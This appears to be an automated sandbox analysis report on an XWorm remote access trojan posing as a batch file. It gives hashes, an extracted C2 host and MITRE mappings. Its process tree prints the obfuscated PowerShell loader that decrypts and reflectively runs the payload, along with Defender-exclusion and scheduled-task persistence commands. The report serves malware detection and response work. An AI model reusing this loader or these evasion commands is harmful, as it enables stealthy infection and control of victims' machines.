xworm | ecb640f4a29fea8d3fb020aa2b41bdc446703c4b1ede6b5c72621229b270bf42

Analysis

max time kernel
149s
max time network
145s
platform
windows11-21h2_x64
resource
win11-20240419-en
resource tags

arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
submitted
27/06/2024, 07:31

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

systeminformer.bat
Size

408KB
MD5

34d172bddcf176f4a3c85f2b8083850c
SHA1

6e4fd033d2ed62b464db43b6af1f5bb0e9283a46
SHA256

ecb640f4a29fea8d3fb020aa2b41bdc446703c4b1ede6b5c72621229b270bf42
SHA512

c52171f7c68902cfe5da18b2a76a59c5a27f1cec92ee330f57f18f9b257079b49d5ff445f4251ad13ba5886e274d5286e062c39cac3a77bbef71909502ab3516
SSDEEP

12288:z4MdFDVqDtPSt2dbWRZpti8C6lhzFAxsbmC:z4UoSCAjti8C6l9eHC

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

case-shield.gl.at.ply.gg:26501

Attributes

Install_directory
%Userprofile%
install_file
system.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/2096-49-0x000001B15E510000-0x000001B15E52A000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 3 IoCs

flow	pid	Process
2	2096	powershell.exe
4	2096	powershell.exe
5	2096	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3200	powershell.exe
4328	powershell.exe
2096	powershell.exe
3908	powershell.exe
2972	powershell.exe
3552	powershell.exe
2220	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\system.lnk	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
3720	system.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000\Software\Microsoft\Windows\CurrentVersion\Run\system = "C:\\Users\\Admin\\system.exe"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
1	ip-api.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Tasks\system	svchost.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies data under HKEY_USERS 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1474490143-3221292397-4168103503-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2452	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3200	powershell.exe
3200	powershell.exe
4328	powershell.exe
4328	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2972	powershell.exe
2972	powershell.exe
3552	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
3552	powershell.exe
2220	powershell.exe
2220	powershell.exe
3908	powershell.exe
3908	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3200	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe
Token: 36	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe
Token: 36	4328	powershell.exe
Token: SeIncreaseQuotaPrivilege	4328	powershell.exe
Token: SeSecurityPrivilege	4328	powershell.exe
Token: SeTakeOwnershipPrivilege	4328	powershell.exe
Token: SeLoadDriverPrivilege	4328	powershell.exe
Token: SeSystemProfilePrivilege	4328	powershell.exe
Token: SeSystemtimePrivilege	4328	powershell.exe
Token: SeProfSingleProcessPrivilege	4328	powershell.exe
Token: SeIncBasePriorityPrivilege	4328	powershell.exe
Token: SeCreatePagefilePrivilege	4328	powershell.exe
Token: SeBackupPrivilege	4328	powershell.exe
Token: SeRestorePrivilege	4328	powershell.exe
Token: SeShutdownPrivilege	4328	powershell.exe
Token: SeDebugPrivilege	4328	powershell.exe
Token: SeSystemEnvironmentPrivilege	4328	powershell.exe
Token: SeRemoteShutdownPrivilege	4328	powershell.exe
Token: SeUndockPrivilege	4328	powershell.exe
Token: SeManageVolumePrivilege	4328	powershell.exe
Token: 33	4328	powershell.exe
Token: 34	4328	powershell.exe
Token: 35	4328	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2096	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 332 wrote to memory of 3768	332	cmd.exe	79
PID 332 wrote to memory of 3768	332	cmd.exe	79
PID 332 wrote to memory of 3200	332	cmd.exe	80
PID 332 wrote to memory of 3200	332	cmd.exe	80
PID 3200 wrote to memory of 4328	3200	powershell.exe	81
PID 3200 wrote to memory of 4328	3200	powershell.exe	81
PID 3200 wrote to memory of 4616	3200	powershell.exe	84
PID 3200 wrote to memory of 4616	3200	powershell.exe	84
PID 4616 wrote to memory of 2448	4616	WScript.exe	85
PID 4616 wrote to memory of 2448	4616	WScript.exe	85
PID 2448 wrote to memory of 768	2448	cmd.exe	87
PID 2448 wrote to memory of 768	2448	cmd.exe	87
PID 2448 wrote to memory of 2096	2448	cmd.exe	88
PID 2448 wrote to memory of 2096	2448	cmd.exe	88
PID 2096 wrote to memory of 3292	2096	powershell.exe	53
PID 2096 wrote to memory of 1176	2096	powershell.exe	19
PID 2096 wrote to memory of 1372	2096	powershell.exe	23
PID 2096 wrote to memory of 1352	2096	powershell.exe	75
PID 2096 wrote to memory of 2548	2096	powershell.exe	42
PID 2096 wrote to memory of 1756	2096	powershell.exe	29
PID 2096 wrote to memory of 1160	2096	powershell.exe	18
PID 2096 wrote to memory of 1816	2096	powershell.exe	30
PID 2096 wrote to memory of 2720	2096	powershell.exe	45
PID 2096 wrote to memory of 2324	2096	powershell.exe	40
PID 2096 wrote to memory of 2520	2096	powershell.exe	41
PID 2096 wrote to memory of 2736	2096	powershell.exe	46
PID 2096 wrote to memory of 3696	2096	powershell.exe	65
PID 2096 wrote to memory of 540	2096	powershell.exe	14
PID 2096 wrote to memory of 2312	2096	powershell.exe	39
PID 2096 wrote to memory of 932	2096	powershell.exe	11
PID 2096 wrote to memory of 1116	2096	powershell.exe	17
PID 2096 wrote to memory of 2100	2096	powershell.exe	36
PID 2096 wrote to memory of 2880	2096	powershell.exe	50
PID 2096 wrote to memory of 4652	2096	powershell.exe	69
PID 2096 wrote to memory of 1292	2096	powershell.exe	22
PID 2096 wrote to memory of 3456	2096	powershell.exe	55
PID 2096 wrote to memory of 692	2096	powershell.exe	72
PID 2096 wrote to memory of 1672	2096	powershell.exe	28
PID 2096 wrote to memory of 2064	2096	powershell.exe	35
PID 2096 wrote to memory of 1072	2096	powershell.exe	16
PID 2096 wrote to memory of 1660	2096	powershell.exe	27
PID 2096 wrote to memory of 1264	2096	powershell.exe	21
PID 2096 wrote to memory of 3428	2096	powershell.exe	54
PID 2096 wrote to memory of 1860	2096	powershell.exe	73
PID 2096 wrote to memory of 4012	2096	powershell.exe	61
PID 2096 wrote to memory of 1840	2096	powershell.exe	31
PID 2096 wrote to memory of 2824	2096	powershell.exe	49
PID 2096 wrote to memory of 1444	2096	powershell.exe	24
PID 2096 wrote to memory of 1832	2096	powershell.exe	33
PID 2096 wrote to memory of 840	2096	powershell.exe	10
PID 2096 wrote to memory of 1228	2096	powershell.exe	20
PID 2096 wrote to memory of 2604	2096	powershell.exe	43
PID 2096 wrote to memory of 4376	2096	powershell.exe	63
PID 2096 wrote to memory of 1616	2096	powershell.exe	26
PID 2096 wrote to memory of 2196	2096	powershell.exe	38
PID 2096 wrote to memory of 1604	2096	powershell.exe	25
PID 2096 wrote to memory of 2780	2096	powershell.exe	48
PID 2096 wrote to memory of 1004	2096	powershell.exe	15
PID 2096 wrote to memory of 1984	2096	powershell.exe	32
PID 2096 wrote to memory of 788	2096	powershell.exe	67
PID 2096 wrote to memory of 1976	2096	powershell.exe	34
PID 2096 wrote to memory of 988	2096	powershell.exe	12
PID 2096 wrote to memory of 2972	2096	powershell.exe	89
PID 2096 wrote to memory of 2972	2096	powershell.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
PID:840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:932

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:540

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1004

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1072

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1176
- C:\Users\Admin\system.exe
  C:\Users\Admin\system.exe
  2⤵
  - Executes dropped EXE
  PID:3720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1264

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1372

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1816

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1840

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1984

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:2064

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2100

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2312

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2324

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2720

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2736

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2780

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2824

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2880

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\systeminformer.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zppN17iXtrCN9R2seJEth9hA/unISVpEyKgytiMsEXg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t4HYls8iOlhSjNY1hAkSsQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jLbjH=New-Object System.IO.MemoryStream(,$param_var); $rbzqc=New-Object System.IO.MemoryStream; $LPpaN=New-Object System.IO.Compression.GZipStream($jLbjH, [IO.Compression.CompressionMode]::Decompress); $LPpaN.CopyTo($rbzqc); $LPpaN.Dispose(); $jLbjH.Dispose(); $rbzqc.Dispose(); $rbzqc.ToArray();}function execute_function($param_var,$param2_var){ $NeELi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OenrY=$NeELi.EntryPoint; $OenrY.Invoke($null, $param2_var);}$rPKgK = 'C:\Users\Admin\AppData\Local\Temp\systeminformer.bat';$host.UI.RawUI.WindowTitle = $rPKgK;$pVvBN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rPKgK).Split([Environment]::NewLine);foreach ($VGOfr in $pVvBN) { if ($VGOfr.StartsWith('vcAjailoeyOprdqWzxUu')) { $mEApY=$VGOfr.Substring(20); break; }}$payloads_var=[string[]]$mEApY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3768
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3200
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_754_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4616
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2448
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zppN17iXtrCN9R2seJEth9hA/unISVpEyKgytiMsEXg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('t4HYls8iOlhSjNY1hAkSsQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $jLbjH=New-Object System.IO.MemoryStream(,$param_var); $rbzqc=New-Object System.IO.MemoryStream; $LPpaN=New-Object System.IO.Compression.GZipStream($jLbjH, [IO.Compression.CompressionMode]::Decompress); $LPpaN.CopyTo($rbzqc); $LPpaN.Dispose(); $jLbjH.Dispose(); $rbzqc.Dispose(); $rbzqc.ToArray();}function execute_function($param_var,$param2_var){ $NeELi=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $OenrY=$NeELi.EntryPoint; $OenrY.Invoke($null, $param2_var);}$rPKgK = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_754.bat';$host.UI.RawUI.WindowTitle = $rPKgK;$pVvBN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($rPKgK).Split([Environment]::NewLine);foreach ($VGOfr in $pVvBN) { if ($VGOfr.StartsWith('vcAjailoeyOprdqWzxUu')) { $mEApY=$VGOfr.Substring(20); break; }}$payloads_var=[string[]]$mEApY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:768
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2096
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2972
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3552
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2220
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'system.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3908
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "system" /tr "C:\Users\Admin\system.exe"
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3456

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4012

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4376

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:788

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:4652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:1860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:1352

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
df472dcddb36aa24247f8c8d8a517bd7

SHA1
6f54967355e507294cbc86662a6fbeedac9d7030

SHA256
e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

SHA512
06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
62KB

MD5
e566632d8956997225be604d026c9b39

SHA1
94a9aade75fffc63ed71404b630eca41d3ce130e

SHA256
b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0

SHA512
f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
1KB

MD5
3ec0d76d886b2f4b9f1e3da7ce9e2cd7

SHA1
68a6a2b7b0fa045cd9cf7d63d4e30600a7b25dea

SHA256
214be9e8293b00fc05089068033edb41da350e0f127dd782bf6cb748000a56a5

SHA512
a49d758d03e3a7bc38be29d577c3e0d0c69eb08d0496a81b9406b446c5808d7dfbab39c5be3b45cbb4aec511d87c6166453cbd12cebe5d8663a60b5d773206c6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
f65feb0fbbd0fcb9da91d117a38e4f31

SHA1
95b1256dd050df6d555a4d06d4dc7ac542b6a070

SHA256
cb0bff45abfcccadc000e77840ccf5004ae4197a8d98baab877e6e9c238bba0c

SHA512
0715ba19e75a60eeb6cf98f4bc80980f1f1e681bd69d3ce242bf1c50787b82eb99064de0c0753c4259dcc8837a65ac2b7c84b3c1f114200cb252c05e448b1776

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
d0a4a3b9a52b8fe3b019f6cd0ef3dad6

SHA1
fed70ce7834c3b97edbd078eccda1e5effa527cd

SHA256
21942e513f223fdad778348fbb20617dd29f986bccd87824c0ae7f15649f3f31

SHA512
1a66f837b4e7fb6346d0500aeacb44902fb8a239bce23416271263eba46fddae58a17075e188ae43eb516c841e02c87e32ebd73256c7cc2c0713d00c35f1761b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
4093e5ab3812960039eba1a814c2ffb0

SHA1
b5e4a98a80be72fccd3cc910e93113d2febef298

SHA256
